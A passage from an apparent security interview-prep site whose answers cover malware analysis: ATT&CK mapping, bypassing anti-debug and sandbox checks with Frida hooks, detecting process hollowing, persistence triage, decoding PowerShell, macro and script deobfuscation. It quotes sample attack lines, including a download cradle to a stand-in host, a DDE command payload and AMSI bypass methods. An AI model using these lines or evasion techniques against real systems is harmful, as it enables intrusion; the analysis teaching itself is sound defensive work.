Renaming breaks Image|endswith. Attackers copy rundll32.exe to Temp or use other proxy binaries such as mshta or regsvr32, so I keep sibling rules for those parents and also detect the behaviour from the child side: any process whose parent is a signed Microsoft binary but whose own image path is user writable. Sigma fields differ by backend, so I test the converted query in the SIEM, not just in Sigma. ParentImage is absent in some Windows Security 4688 configurations, and long command lines can exceed SIEM field limits, which can hide the payload at the end of a long argument.
Performance matters too. A rule with many contains checks on CommandLine across all Event 1 data slows ingestion. I scope it with ParentImage|endswith first, which the SIEM can index, and keep the expensive string checks for the small subset that passes. Finally, I add a false positive note and test cases to the rule itself, using the exact command lines from the trace table, so the next analyst knows why the filter exists and does not remove it during a cleanup.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-20A sample writes a Run key for persistence and sends TXT DNS queries every 60 seconds: how do you map each behaviour to a specific ATT&CK technique, and what evidence would you cite?
The 90-second answer
I map the behaviour I observed, not the tactic I guess the author intended. For each behaviour I name the most specific technique whose definition it satisfies, then cite the artefact that proves it. If the artefact does not meet the definition, I leave it unmapped and describe it in plain language.
In your example there are two separate mappings. The Run key write is Persistence, technique T1547.001 Registry Run Keys / Startup Folder. The regular TXT queries are Command and Control, technique T1071.004 Application Layer Protocol: DNS. Naming only the tactics, Persistence and Command and Control, would not give a defender anything to hunt for.
Applying it to the stated situation
| Behaviour in the trace | ATT&CK mapping | Evidence I would cite | What would weaken the mapping |
|---|---|---|---|
Writes HKCU\Software\Microsoft\Windows\CurrentVersion\Run\updater pointing to a file in AppData, and the file runs after reboot | T1547.001 | Sysmon Event 13 with that TargetObject and Details, plus a reboot test showing execution | A registry write with no executable target, or a value the sample deletes before reboot |
| Sends TXT queries to the same subdomain every 60 seconds, receives a short TXT answer, repeats for 20 minutes | T1071.004 | pcap showing query type TXT, fixed interval, and structured responses | A single TXT lookup, which could be a normal service discovery query |
The reboot test matters for the first row. T1547.001 requires the mechanism to cause execution at logon. A write alone is suggestive. A write plus execution after reboot is observed.
The interval and response matter for the second row. DNS by itself is not C2. TXT type, a fixed 60 second period and a response the sample then acts on, for example a new query or a file write, together satisfy the technique. I would still mark the content of the tasking as inferred unless I decoded it. The channel is observed. What the operator asked for is not.
How I record it
In the report I use one row per technique, with the technique ID, the evidence and a confidence label. I also export the same IDs as an ATT&CK Navigator layer so the reader can see coverage by tactic without reading every row.
{
"name": "sample-2026-001",
"version": "4.4",
"domain": "enterprise-attack",
"techniques": [
{"techniqueID": "T1547.001", "score": 100, "color": "#ff6666", "comment": "Sysmon 13 Run key, executed after reboot"},
{"techniqueID": "T1071.004", "score": 80, "color": "#ffcc66", "comment": "TXT beacon every 60s, tasking content inferred"}
]
}The scores here are my confidence shorthand, 100 for observed and 80 where part of the claim is inferred. I state that in the report legend. Navigator does not define the score, so an unexplained colour means nothing to the next analyst.
Where candidates over-claim
The common error is mapping from a single API or string. RegSetValueEx appears in installers. InternetOpen appears in updaters. Neither maps to a technique on its own. I need the target, the sequence and the outcome. Run key plus reboot execution is a sequence. A DNS query plus a timed TXT exchange is a sequence.
The second error is claiming a sub-technique without proof of the variant. T1547.001 is proven by the Run value. I would not add a more specific claim about a Startup Folder variant when the trace shows a registry value.
The third error is treating sandbox behaviour as target behaviour. If the sample only beacons after it detects a mouse or a recent document, I record the environment check and mark the C2 as observed in the sandbox, not proven in the wild. That distinction keeps the mapping honest and tells the incident team what to verify on a real host.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-21A sample exits when IsDebuggerPresent returns true and when its MAC address starts with VMware's OUI, but patching the file breaks its checksum: how do you bypass both checks at runtime?
The 90-second answer
Patching the file is the wrong layer here. The checksum will fail before either check matters, so I leave the binary untouched and change what the sample observes at runtime. For IsDebuggerPresent, I hook the API and force its return value to 0. For the MAC check, I change the virtual adapter in the hypervisor settings to an OUI that is not VMware's, then reboot the VM from a clean snapshot. The sample then sees a normal process on a normal-looking adapter, and I can confirm the bypass worked only when the payload behaviour appears, such as a network request or a file write.
That split matters. One check is answered by the process, the other by the machine it runs on. Trying to fix both inside the debugger would work for the first and miss the second.
Bypassing the debugger check
IsDebuggerPresent in kernel32.dll returns a BOOL. The sample calls it and branches to exit if the result is non-zero. A Frida hook, checked against Frida 16 on Windows x64, replaces that result in memory:
// frida -f sample.exe -l hooks.js
Interceptor.attach(Module.getExportByName('kernel32.dll', 'IsDebuggerPresent'), {
onLeave: function (retval) { retval.replace(0); }
});In x64dbg the equivalent is a breakpoint on IsDebuggerPresent, stepping to the return instruction, setting EAX to 0, and continuing. Both approaches leave the file on disk unchanged, so a checksum over the image still passes. The cost is that the hook lives only in that process. Restart the sample and the hook is gone, and a second copy of the sample will not inherit it.
Bypassing the MAC check
VMware OUIs include 00:05:69, 00:0C:29 and 00:1C:14. The sample reads its adapter address, compares the first three bytes, and exits on a match. I do not hook that code. I open the VM settings, set a manually specified MAC such as 00:1A:2B:3C:4D:5E, and power the VM on again. If the sample reads the address through WMI or GetAdaptersInfo, it now receives the new value with no change to the sample at all.
| Approach | What changes | Checksum survives | Survives restart | Main weakness |
|---|---|---|---|---|
| Static patch of the branch | Bytes in the file | No | Yes | Fails the integrity check in this case |
| Runtime API hook | Return value in memory | Yes | No | Misses checks that read the PEB directly |
| VM MAC change | Adapter seen by the OS | Yes | Yes, until settings revert | Does nothing for a check inside the process |
Where this fails
A hook on IsDebuggerPresent does not cover a sample that reads BeingDebugged at PEB+0x02 itself, or that calls NtQueryInformationProcess with ProcessDebugPort (0x07). I check the trace after hooking. If the sample still exits, I look for those calls and hook or patch the PEB byte instead, rather than assuming the first hook was enough.
The MAC change can also be too narrow. Some samples check the hostname, BIOS serial or disk model alongside the OUI. Changing only the MAC then leaves the exit in place. I treat the MAC as the first signal to remove, re-run from the snapshot, and read the next check from the trace. Reporting which signal actually gated the payload is more useful than reporting that I bypassed sandbox evasion in general.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-22What does the PEB BeingDebugged flag tell malware about a debugger, and how do you clear it during analysis?
The 90-second answer
BeingDebugged is a single byte in the Process Environment Block (PEB) that Windows sets to 1 when a debugger is attached to the process and leaves at 0 otherwise. Malware reads it to decide whether to run its real payload or exit, sleep, or follow a decoy path.
The PEB sits at a fixed offset from a segment register. On 32-bit Windows, FS:[0x30] points to the PEB. On 64-bit Windows, GS:[0x60] points to it. BeingDebugged is at PEB plus 0x002 in both cases. The Win32 API IsDebuggerPresent() simply returns that byte, which is why malware often reads the byte directly instead of calling the API. Patching the imported API does not stop a direct memory read.
; x64: read PEB->BeingDebugged directly, bypassing IsDebuggerPresent
mov rax, gs:[60h] ; PEB pointer
movzx eax, byte ptr [rax+2] ; BeingDebugged
test eax, eax
jnz debugger_foundTo counter it, set the byte to 0 before the sample reaches the check. In x64dbg you can edit the PEB in the CPU pane, or let ScyllaHide set it automatically along with the related debugger artefacts. Then confirm the result: IsDebuggerPresent() should return 0 while the debugger is still attached.
| Item | Detail |
|---|---|
| PEB location, x86 | FS:[0x30] |
| PEB location, x64 | GS:[0x60] |
BeingDebugged offset | PEB + 0x002, one byte |
| Value with debugger attached | 1 |
| Value without debugger | 0 |
| Countermeasure | Write 0 to PEB + 0x002 before the check runs |
Where this goes wrong
Patching only the API import is the common mistake. A sample that reads GS:[0x60] directly never calls IsDebuggerPresent(), so a patched import changes nothing and the sample still sees 1. Patch the byte itself, or use a plugin that patches the byte and hooks the API together.
A second failure mode is checking the flag too late. If you attach the debugger after the process has already started, the sample may have read the byte during its startup code and branched away before you patch it. Attach early, or set the PEB byte in the initial breakpoint before the sample's entry point runs. ScyllaHide handles this by applying its patches at process creation.
One more check worth knowing, because it sits next to this flag in most samples: NtQueryInformationProcess with ProcessDebugPort returns a non-zero handle when a debugger is attached. Clearing BeingDebugged alone leaves that query untouched. If a sample still exits after you clear the byte, that query is the next place to look, and ScyllaHide hooks it for the same reason.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-23A sample calls Sleep(300000) and checks the date before doing anything visible: how do you tell a sleep timer from a logic bomb in a sandbox, and how do you force execution without tipping off anti-sandbox checks?
The 90-second answer
I separate wall-clock checks from relative timers first, because they need different handling and setting the VM date does not shorten a sleep. Sleep(300000), SleepEx, NtDelayExecution, WaitForSingleObject with a timeout, GetTickCount64, and QueryPerformanceCounter are monotonic: they measure elapsed time since boot or a counter start, not the calendar date. Moving the guest clock forward changes GetLocalTime, GetSystemTime, and time(), but a Sleep(300000) still waits five minutes and GetTickCount64 does not jump. A date logic bomb that compares GetLocalTime to a fixed date is defeated by setting the VM date. A relative timer is defeated only by shortening the wait and making every monotonic clock the sample reads agree about how much time passed.
I run the sample unmodified first, in an isolated VM from a clean snapshot, host-only networking, and FakeNet-NG or INetSim, and log which API it blocks on with ProcMon, a debugger, or Frida. Only then do I accelerate, and I treat behaviour that appears only after patching as suspect until I reproduce it by a second method.
How I tell them apart
Static triage: I look in Ghidra or IDA for cross-references to Sleep, SleepEx, NtDelayExecution, WaitForSingleObject, GetTickCount, GetTickCount64, GetLocalTime, GetSystemTime, time, and QueryPerformanceCounter. A single sleep with no clock read after it is a plain delay. A wall-clock read followed by a compare against a constant or date string is a logic bomb. A monotonic read taken before and after a sleep, subtracted, and compared to the sleep length is an elapsed-time check.
Dynamic triage confirms it by logging arguments and return values:
| Observation | Type | What actually works |
|---|---|---|
GetLocalTime, compare year/month to a constant | Wall-clock logic bomb | Set VM date forward, or patch the branch |
Sleep(300000) then straight-line code | Plain relative delay | Stub the sleep, cap or skip it |
GetTickCount64 before and after, subtract, compare to 300000 | Elapsed-time check | Skip the sleep and add the skipped interval to every monotonic clock read |
Sleep plus QueryPerformanceCounter or RDTSC cross-check | Anti-tamper on the delay | Same consistent offset, plus patch the compare if RDTSC is used |
| No sleep, exits after VM, debugger, or artifact checks | Environment check | Fix the environment, patch the check |
Worked trace for the elapsed check. The sample reads GetTickCount64 and gets 1,000,000, calls Sleep(300000), reads GetTickCount64 again, subtracts, and compares to 299000. If I stub Sleep to return immediately and leave the second read alone, it returns about 1,000,003, the difference is 3, and the branch fails. That is the mismatch samples detect. If I stub Sleep and add a virtual offset of 300000 to GetTickCount64, GetTickCount, and QueryPerformanceCounter from that point on, the second read returns 1,300,003, the difference is 300003, and the branch passes. The offset must be applied to all of them, because a sample that reads two clocks and compares them will catch a single hooked clock.
Forcing execution
First, for wall-clock bombs only, I set the VM date. This is cheap and leaves relative timers untouched, which is exactly why it cannot be my answer to a Sleep plus GetTickCount64 check.
Second, for relative timers, I hook the wait and fake the monotonic clocks consistently with Frida. I replace the import for Sleep and SleepEx with a stub that returns immediately, and I wrap the tick and performance counters with a shared offset:
// Frida, Windows x64 guest, attach to the sample
let offset = 0; // ms, added to monotonic clocks after a skipped sleep
const k32 = Process.getModuleByName('kernel32.dll');
function hookSleep(name) {
const addr = Module.getExportByName('kernel32.dll', name);
Interceptor.replace(addr, new NativeCallback(function (ms) {
offset += ms; // record the skipped interval
return 0; // WAIT_OBJECT_0 / success, return immediately
}, 'uint32', ['uint32']));
}
hookSleep('Sleep');
hookSleep('SleepEx');
Interceptor.replace(Module.getExportByName('kernel32.dll', 'GetTickCount64'),
new NativeCallback(function () {
return k32.getExportByName('GetTickCount64').readPointer().call(null) + offset;
}, 'uint64', []));In practice I keep a reference to the original functions before replacing them, apply the same offset in GetTickCount and QueryPerformanceCounter, and cap the total skipped time so a loop of one-second sleeps still sees monotonic time. RDTSC is not an API, so it cannot be hooked this way. If the sample reads RDTSC around the sleep, I patch the compare after the subtraction, or step over the sleep in x64dbg and patch the conditional jump, rather than pretending the API hooks cover it.
Third, debugger patching for a single branch. I break after the sleep call, step over it, or patch the conditional jump after the time compare to an unconditional jump. This is surgical when I need one guarded decode, for example a date check protecting a C2 config, but it is slow for repeated sleeps and changes register state a careful sample can notice.
Fourth, environment repair. If the sample exits on a VM MAC address, a small disk, no recent user files, or the PEB BeingDebugged flag, I fix that in the snapshot instead of patching. Patching an environment check usually leads to a second check further down the path.
Failure modes I watch for
SleepEx with an alertable wait and NtDelayExecution with an alertable flag can run an APC callback during the wait, so returning early can skip code meant to run as a callback. I check for those flags and for WaitForSingleObject on a handle another thread signals, because patching those changes thread synchronization, not just timing.
A sample can also use a long sleep as a sandbox detector in reverse: it sleeps for ten minutes, the sandbox kills the VM after five, and the sample never runs there but runs on a real host left on overnight. My answer is a long detonation on a second VM with the consistent-offset hooks above, not a verdict of inert.
Finally, a logic bomb can feed a decoy to an analyst who patches too eagerly. If a beacon appears only after I stub the sleep, I re-run with the branch patched instead and see whether the same beacon appears. If it appears under both methods I trust it. If it appears under only one, I report it as patch-dependent and name the method that produced it.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-24A sample launches a suspended process, unmaps its image, writes a new PE, and resumes it: walk me through how that injection works and how you would confirm it in memory?
The 90-second answer
That sequence is process hollowing. The sample starts a legitimate executable in a suspended state, removes its original image from memory, writes a different PE into the same address space, fixes the primary thread to start at the new entry point, and resumes it. The process name and the file on disk stay legitimate. The code running inside is not.
I would confirm it by comparing the image in memory at the image base with the file named in the process environment block. If headers, sections, or entry point differ, and the parent wrote to the child before resuming it, that is hollowing rather than a normal launch.
How the mechanism works
The usual Windows API sequence is:
| Step | Call | What it achieves |
|---|---|---|
| 1 | CreateProcess with CREATE_SUSPENDED | Child process and primary thread exist, but no user code has run yet |
| 2 | NtUnmapViewOfSection on the image base | Original image is removed from the child's address space |
| 3 | VirtualAllocEx and WriteProcessMemory | New PE headers and sections are written at the expected base |
| 4 | SetThreadContext | Primary thread context is pointed at the new entry point |
| 5 | ResumeThread | Child starts executing the injected PE |
Suspended creation matters because the legitimate program never runs. There is no window where the original code could exit, show a user interface, or overwrite the injected image. The parent also controls the timing of the writes, so it can finish before the child gets CPU time.
A common failure is a base address mismatch. If the injected PE has a preferred image base that is already occupied, or if relocations are not handled, the write lands at the wrong place and the resumed thread crashes. Samples that handle this correctly either load at the original base or adjust the thread context and section addresses to match where they actually wrote the image. A crash shortly after ResumeThread in a sandbox is often that failure, not an anti-analysis check.
Confirming it from memory
Process listing tools read the PEB path, so they report the legitimate file. I read the live image instead. From a memory dump or a debugger attached to the child, I take the bytes at the image base and compare them with the file on disk.
# Python 3, using pefile. dump is bytes read at the image base
# from the live process. on_disk is the PEB-named file.
import pefile
def hollowed(dump: bytes, on_disk: bytes) -> bool:
mem = pefile.PE(data=dump, fast_load=True)
disk = pefile.PE(data=on_disk, fast_load=True)
entry_differs = (
mem.OPTIONAL_HEADER.AddressOfEntryPoint
!= disk.OPTIONAL_HEADER.AddressOfEntryPoint
)
sections_differ = [s.Name for s in mem.sections] != [s.Name for s in disk.sections]
return entry_differs or sections_differIn a live run I pair that check with the API trace. The trace should show suspended creation, remote writes to the child, and a resume, all from the same parent and within a short window. Either signal alone is weaker. Debuggers and installers also write to child processes, and a packed legitimate program can look unusual in memory. The combination of a PEB versus memory mismatch plus the suspended write sequence is what I would cite in a report.
Where this sits against the other two techniques
APC injection targets a process that is already running and queues code to an alertable thread, so there is no suspended creation to trace. Process doppelganging also launches a new process, but it writes the malicious PE through a transacted file and rolls the transaction back, so the mismatch is between the image at launch and the file after rollback. Hollowing keeps the mismatch in the live process for as long as it runs, which makes a memory dump after the fact still useful. That timing difference decides which evidence I collect first: for hollowing, a live memory comparison; for doppelganging, the image at process start before the rollback completes.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-25A sample running as a standard user sets an HKCU Run key and drops a shortcut in the Startup folder. How do those two persistence options compare, and which would you check first on a host?
The 90-second answer
With only standard user rights, both options are available and both fire at logon, so the choice comes down to what the malware author wants to hide and what breaks first. A Run key is a registry value under HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Explorer reads it at logon and launches whatever the value points to. A Startup folder shortcut is a .lnk file in C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup that Explorer also launches at logon. The Run key is quieter to create from code and easier to update in place. The shortcut is a real file, so it is easier for a user or an analyst to see, copy, and remove, but it can point to a script or document that a Run value would also point to.
Services, scheduled tasks running as SYSTEM, and WMI event subscriptions are not in this comparison for a reason. Installing a service or a WMI subscription normally needs admin rights, and a scheduled task that runs without a logon as SYSTEM also needs elevation. A standard user can create a scheduled task for their own account, but that task still depends on that user logging on or on a trigger the user can set, so it gives the sample little advantage over a Run key here.
| Point | HKCU Run key | Startup folder shortcut |
|---|---|---|
| ATT&CK | T1547.001 | T1547.001 |
| Privilege needed | Current user | Current user |
| Trigger | Logon of that user | Logon of that user |
| Artefact | Registry value data, often a path to a binary or script | .lnk file with a target path, arguments, and working directory |
| How it is updated | Overwrite the same value | Replace the .lnk or drop a new one |
| Typical failure | Unquoted path with spaces, target deleted, value overwritten by an updater | Target deleted, shortcut copied to the wrong profile, roaming profile not loaded |
How I check a host for both
I look at the registry value and the shortcut target together, because either one alone can mislead. A Run value that points to a legitimate binary name in a user-writable folder is suspicious only when the binary itself is unsigned or newly dropped. A shortcut whose target is powershell.exe -enc ... is suspicious even if the shortcut name looks like a document.
# Run keys for the current user and the machine
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -ErrorAction SilentlyContinue
# Startup folders, current user and all users
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -ErrorAction SilentlyContinue
# Resolve shortcut targets so the launched file is visible
$sh = New-Object -ComObject WScript.Shell
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\*.lnk" | ForEach-Object {
$sc = $sh.CreateShortcut($_.FullName)
[PSCustomObject]@{ Shortcut = $_.Name; Target = $sc.TargetPath; Arguments = $sc.Arguments }
}Sysmon then tells me which one the sample actually created, and in what order. That order matters in a report, because a sample that writes the Run key first and drops the shortcut later is often keeping a fallback if one location is cleaned.
| Sysmon event | What I see in this case | Interpretation |
|---|---|---|
| 13, RegistryEvent SetValue | TargetObject is the Run key, Details contains the dropped binary path | Sample set the Run key |
| 11, FileCreate | TargetFilename ends in \Startup\update.lnk | Sample dropped the shortcut |
| 1, ProcessCreate | Parent is explorer.exe, image is the Run target or the shortcut target | Persistence fired at logon |
11, FileCreate in Temp or AppData shortly before either event | Dropped binary or script | Payload staged before persistence |
Failure modes I verify before I report either one
A Run value such as C:\Users\ann\AppData\Local\My App\agent.exe without quotes will be split by the shell at the space, so Windows may try to launch C:\Users\ann\AppData\Local\My and fail. I check the raw value data and test it in the sandbox after a reboot. A shortcut can survive a reboot and still do nothing if its target was quarantined or if the working directory it needs was deleted. I also check whether the Run key was written by the sample or by a legitimate installer that happened to run earlier, by correlating the Sysmon timestamp with the process that wrote it and by checking the signature and creation time of the target file. If the target is a signed binary in Program Files with an old timestamp, I do not report it as persistence for this sample.
For removal, I delete both artefacts and the target file, then reboot the sandbox VM and confirm no child process appears under explorer.exe. Reporting only the Run key while leaving the shortcut would leave the sample a second way back in at the next logon.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-26What does PowerShell's -EncodedCommand parameter contain, and how do you decode it to see the underlying script?
The 90-second answer
-EncodedCommand (alias -enc, -e) takes a Base64 string that decodes to UTF-16LE text, not UTF-8. That is the whole trick. PowerShell expects UTF-16LE because it matches the .NET Unicode encoding used internally, so a plain Base64 decode in a tool that assumes UTF-8 will produce readable ASCII interleaved with null bytes or garbage. Decode the Base64 to bytes first, then interpret those bytes as UTF-16LE.
# PowerShell 5.1 / 7.x, checked against Windows PowerShell
$encoded = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAApAA=='
$bytes = [Convert]::FromBase64String($encoded)
[Text.Encoding]::Unicode.GetString($bytes)
# IEX (New-Object Net.WebClient).DownloadString('http://example.test/a.ps1')The same decode in Python, useful when the sample is on a Linux analysis box:
import base64
encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAApAA=="
print(base64.b64decode(encoded).decode("utf-16le"))Worked trace
| Step | Input | Output |
|---|---|---|
| 1. Extract | powershell -enc SQBFAFgA... from Sysmon Event 1 CommandLine or a shortcut .lnk target | SQBFAFgA... |
| 2. Base64 decode | SQBFAFgA... | Bytes 49 00 45 00 58 00 ... |
| 3. UTF-16LE decode | Those bytes | IEX (New-Object Net.WebClient)... |
| 4. Read the result | Decoded script | Download cradle, no file on disk yet |
What to look for once decoded
Obfuscation rarely stops at encoding. After decoding, search for the behaviours the encoding was hiding: DownloadString, DownloadData, FromBase64String applied a second time, string concatenation with + or -join, -replace to rebuild keywords, and reflective loading with [Reflection.Assembly]::Load or VirtualAlloc plus a delegate. Nested encoding is common, so if the decoded text is itself a long Base64 blob, run the same two steps again.
AMSI bypass attempts are a specific pattern to flag in that decoded text. AMSI, the Antimalware Scan Interface, scans PowerShell script blocks before execution. Bypass code typically tries to make amsi.dll fail to initialise, for example by setting the amsiInitFailed field on the AmsiUtils class via reflection, or by patching AmsiScanBuffer in memory. In a report, cite the exact decoded line, not just "AMSI bypass present", and check whether it succeeded: look for PowerShell Script Block Logging (Event 4104) and AMSI scan results in the endpoint telemetry. If the bypass worked, the script block that followed it will appear in 4104 without a corresponding AMSI block verdict. If it failed, execution stops at the patch line.
Detection on the host does not need the decode. Log full command lines, enable Script Block Logging, and alert on powershell with -enc, -nop, -w hidden, or -ep bypass in the command line, especially when the parent is winword.exe, outlook.exe, or a browser. Those flags plus an encoded blob over roughly 200 characters is a high signal triage rule, and the decode above turns the alert into the actual script for analysis.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-27Walk me through how you analyse a malicious VBA macro in a Word document that uses obfuscation and environment checks to hide its payload?
The 90-second answer
I treat the document as a container first and code second. I hash the file, confirm the real format from magic bytes, then extract the VBA project without opening it in Office. For a Word .docm or .docx that is oleid and olevba from oletools, plus oledump.py to list streams. For Excel .xlsm, .xlsb or legacy .xls I add XLMMacroDeobfuscator because Excel samples hide XLM 4.0 macros and DDE fields alongside VBA. Only after I have the deobfuscated source do I run it, in an isolated VM with macros enabled deliberately, FakeNet-NG or INetSim, ProcMon and Sysmon recording.
The reason for that order is VBA stomping and environment checks. The source you read in an editor can differ from the compiled p-code Office actually executes. olevba flags that mismatch. A macro can also check Environ("USERNAME"), Application.RecentFiles.Count, the current domain, or whether a mouse has moved, and exit in a sandbox while running for a victim. Static extraction shows me the trigger and the intended payload even when dynamic execution shows nothing.
Static extraction and deobfuscation
oleid sample.docm
olevba --deobf --decode sample.docm > macro.txt
oledump.py sample.docmolevba --deobf resolves the usual obfuscators: Chr(), ChrW(), StrReverse, Replace, string concatenation with &, Base64 via MSXML2.DOMDocument, and Environ substitution. I then search the output for execution primitives rather than reading top to bottom.
| Pattern in deobfuscated VBA | What it usually means |
|---|---|
AutoOpen, Document_Open, Workbook_Open, Auto_Open | Execution trigger on open |
Shell(...), CreateObject("WScript.Shell").Run | Spawns cmd, PowerShell, mshta or rundll32 |
CreateObject("MSXML2.XMLHTTP"), WinHttp.WinHttpRequest.5.1 | Downloads a second stage |
ADODB.Stream with Type = 1 | Writes downloaded bytes to disk |
Environ("APPDATA"), Environ("TEMP") | Drops payload in a user-writable path |
Application.Wait, Timer, IsDate checks | Delay or time based evasion |
A typical obfuscated URL:
u = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47)
u = u & StrReverse("moc.elpmaxe//:ptth")
Shell "powershell -enc " & encodedolevba --decode and a short Python check give the same result:
# Python 3.11, checked against oletools 0.60 output
s = "".join(chr(c) for c in [104,116,116,112,58,47,47])
print(s + "moc.elpmaxe//:ptth"[::-1])
# http://example.com/I also look for userform code, hidden sheets in Excel, and external template injection in Word, where the document references a remote .dotm. That changes the target: the malicious code may never be in the file you received.
Dynamic run
In the VM I open the document, enable content, and watch the process tree. Office should spawn the child the macro names, often powershell.exe, cmd.exe, mshta.exe or wscript.exe. ProcMon shows the file write and registry access, Sysmon Event 1 shows the parent command line, and FakeNet-NG logs the HTTP request and can return a controlled payload when I need the sample to proceed past a 404. I keep the network simulated, because a live download can deliver a different second stage per source IP.
Failure modes I check before I report
VBA stomping means the source looks benign and the p-code is malicious, so I compare olevba output with oledump.py p-code listings and treat a mismatch as a finding. A macro that only runs on a named sheet, after a button click, or when ThisWorkbook has a specific name will not fire on Document_Open alone, so I read every module including userforms. Excel samples may use DDE fields such as =cmd|' /C calc'!A0 with no VBA at all, which olevba alone will miss. Finally, a PowerShell -enc argument is UTF-16LE Base64, so I decode it with FromBase64String and check the decoded command line in Sysmon rather than trusting the VBA string.
My report then separates three layers: the trigger, the deobfuscated loader logic, and the recovered second stage with its URL, dropped path and hash. That separation matters because the VBA loader is often commodity, while the second stage carries the attribution and the IOCs worth hunting for.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-28A JavaScript loader hides its payload behind String.fromCharCode and eval, and a VBS loader builds a PowerShell command from Chr() calls: how do you deobfuscate each one statically to recover the next stage without running the original?
The 90-second answer
I copy the sample into a case folder, hash it, and work only on a scratch copy. For both files I look for the same three things: the decode loop, the string that loop produces, and the call that executes it. Once I can point to those, I run the decoder alone and print its output instead of executing it. That recovers the next stage as a file I can hash and analyse on its own.
JavaScript: fromCharCode and eval
A typical loader looks like this in miniature:
var s = String.fromCharCode(112,111,119,101,114,115,104,101,108,108);
var payload = atob(s);
eval(payload);String.fromCharCode turns the numeric list into text, atob decodes Base64, and eval runs the result. The numbers are the payload in plain sight. In Node I copy only the first two lines, print payload, and replace eval(payload) with require('fs').writeFileSync('stage2.js', payload). I never load the original file in a browser or with node sample.js, because that would run the eval.
Real samples add one more layer. Obfuscator.io output stores strings in an array, rotates the array with a shuffle function, and decodes entries through a helper that takes an index and a key. The static move is the same: run the array, the shuffle, and the helper in Node, print every decoded string, and search that list for URLs, file paths, and powershell or cmd. Formatting with js-beautify helps me read the loop, but the printed string list is what gives me the C2 or the next command.
VBS: Chr() building a PowerShell command
VBS loaders use Chr() for the same reason. A line such as the one below builds a command one character at a time:
cmd = "powershell -enc " & Chr(83) & Chr(81) & Chr(48) & Chr(52)
WScript.Shell.Run cmd, 0, FalseChr(83) is S, Chr(81) is Q, and so on. I decode the concatenation in CyberChef or with a short Python script, then decode the Base64 token that follows -enc as UTF-16LE. That encoding detail matters. PowerShell -enc expects UTF-16LE, so decoding the same Base64 as UTF-8 produces readable-looking garbage and a wrong verdict about the command.
import base64
text = base64.b64decode(token).decode('utf-16le')
print(text)In a scratch copy of the VBS file I can also replace WScript.Shell.Run cmd with WScript.Echo cmd and run that copy with cscript. The echo prints the full command line, including arguments the loader built at runtime, without launching PowerShell. I keep the original untouched and hash the printed command as a separate exhibit.
Static decode against instrumented execution
Static decoding is safer and reproducible, and it works when the decoder is self-contained. Its limit is a decoder that depends on the machine, such as a date check, a hostname-derived key, or a value fetched from the network. In that case the printed output from my machine will not match what the sample would produce on a victim machine, and I should say so in the report rather than present a guessed stage.
Instrumented execution covers that gap. I run the original in a snapshot VM with FakeNet-NG answering the C2 domain found in the string list, and I watch ProcMon and Sysmon for the child process, the dropped file, and the exact command line. The trade-off is that the sample may check for a debugger or a sandbox MAC address and exit before decoding anything. When that happens I go back to the static decode and report which check blocked execution, instead of patching the original sample.
| Approach | What it recovers well | Where it fails |
|---|---|---|
| Static decode of the loop | Self-contained fromCharCode, Chr(), Base64, and XOR layers | Date, hostname, or network-derived keys |
| Instrumented run in a VM | Runtime-built command lines and dropped files | Anti-sandbox checks and HTTPS with pinned certificates |
The report then lists the original hash, the decoded stage hash, the execution call (eval or WScript.Shell.Run), and the recovered command or URL. Another analyst can reproduce each step from those artefacts without running the loader.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-29Binwalk reports a SquashFS filesystem at offset 0x2C10 in a MIPS router image, but unsquashfs fails with a superblock error: how do you unpack it and verify the extraction is complete?
The 90-second answer
A SquashFS signature with a failing unsquashfs usually means the vendor modified the filesystem, not that the image is corrupt. I extract the slice at the reported offset, try stock unsquashfs first, and if it rejects the superblock I retry with sasquatch, which was written to handle the non-standard variants vendors ship. Then I verify the result by checking the directory tree and the architecture of the binaries inside, because a partial extraction can look successful while missing files.
# Work in a disposable VM, firmware is untrusted
sha256sum router.bin
binwalk router.bin
# 0x2C10 SquashFS filesystem, little endian, version 4.0
mkdir -p work/fs && cd work
dd if=../router.bin of=squashfs.bin bs=1 skip=$((0x2C10)) status=none
unsquashfs -d fs_stock squashfs.bin
# If that fails with a superblock or compression error:
sasquatch -p 1 -d fs_sasquatch squashfs.bin
find fs_sasquatch -maxdepth 2 | head -n 50
file fs_sasquatch/bin/busybox fs_sasquatch/sbin/initdd with skip in bytes isolates exactly what binwalk found. That matters because the full image may contain a TRX header or a second appended image before the filesystem, and some tools misparse the filesystem when they scan from offset zero. sasquatch -p 1 tells it to use one processor, which avoids a race I have seen on multi-threaded runs where the output directory ends up incomplete. I compare the two output trees file by file. Files present in one and missing in the other tell me which tool dropped data.
Worked trace
| Step | Command | Expected result | What a mismatch means |
